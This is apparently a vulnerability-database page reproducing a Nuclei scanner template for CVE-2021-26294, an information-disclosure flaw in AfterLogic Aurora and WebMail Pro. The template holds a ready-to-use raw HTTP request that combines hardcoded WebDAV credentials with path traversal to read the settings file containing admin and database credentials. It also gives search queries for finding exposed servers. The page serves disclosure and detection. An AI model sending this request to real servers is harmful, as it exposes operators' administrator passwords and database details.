CVE-2021-26294: AfterLogic Aurora and WebMail Pro < 7.7.9 - Information Disclosure

2025-08-01 AfterLogic Aurora and WebMail Pro PoC Public

Description

AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.

PoC

id: CVE-2021-26294

info:
  name: AfterLogic Aurora and WebMail Pro < 7.7.9 - Information Disclosure
  author: johnk3r
  severity: high
  description: |
    AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.
  impact: |
    Unauthenticated attackers using hardcoded credentials can read arbitrary files under the web root, potentially exposing sensitive configuration data, credentials, and proprietary information.
  remediation: |
    Upgrade to AfterLogic Aurora or WebMail Pro version 7.7.10 or later.
  reference:
    - https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26294-exposure-of-sensitive-information-vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26294
    - https://github.com/Threekiii/Awesome-POC
    - https://github.com/soosmile/POC
    - https://github.com/tzwlhack/Vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-26294
    cwe-id: CWE-22
    epss-score: 0.16899
    epss-percentile: 0.96892
    cpe: cpe:2.3:a:afterlogic:aurora:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: afterlogic
    product: aurora
    fofa-query:
      - "X-Server: AfterlogicDAVServer"
      - "x-server: afterlogicdavserver"
  tags: cve2021,cve,afterlogic,exposure,AfterLogic,vkev,vuln

http:
  - raw:
      - |
        GET /dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<AdminLogin>"
          - "<AdminPassword>"
          - "<DBHost>"
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dfcdbdb3b8f8790828a49d297e8cf11ae1447875eea32006fdc6d83183bd3c1c02200ca9e8db36187717f4b13983c173713b096032ede1bc58d5f5c43f17ba5f6cb7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26294.yaml

References

Related Vulnerabilities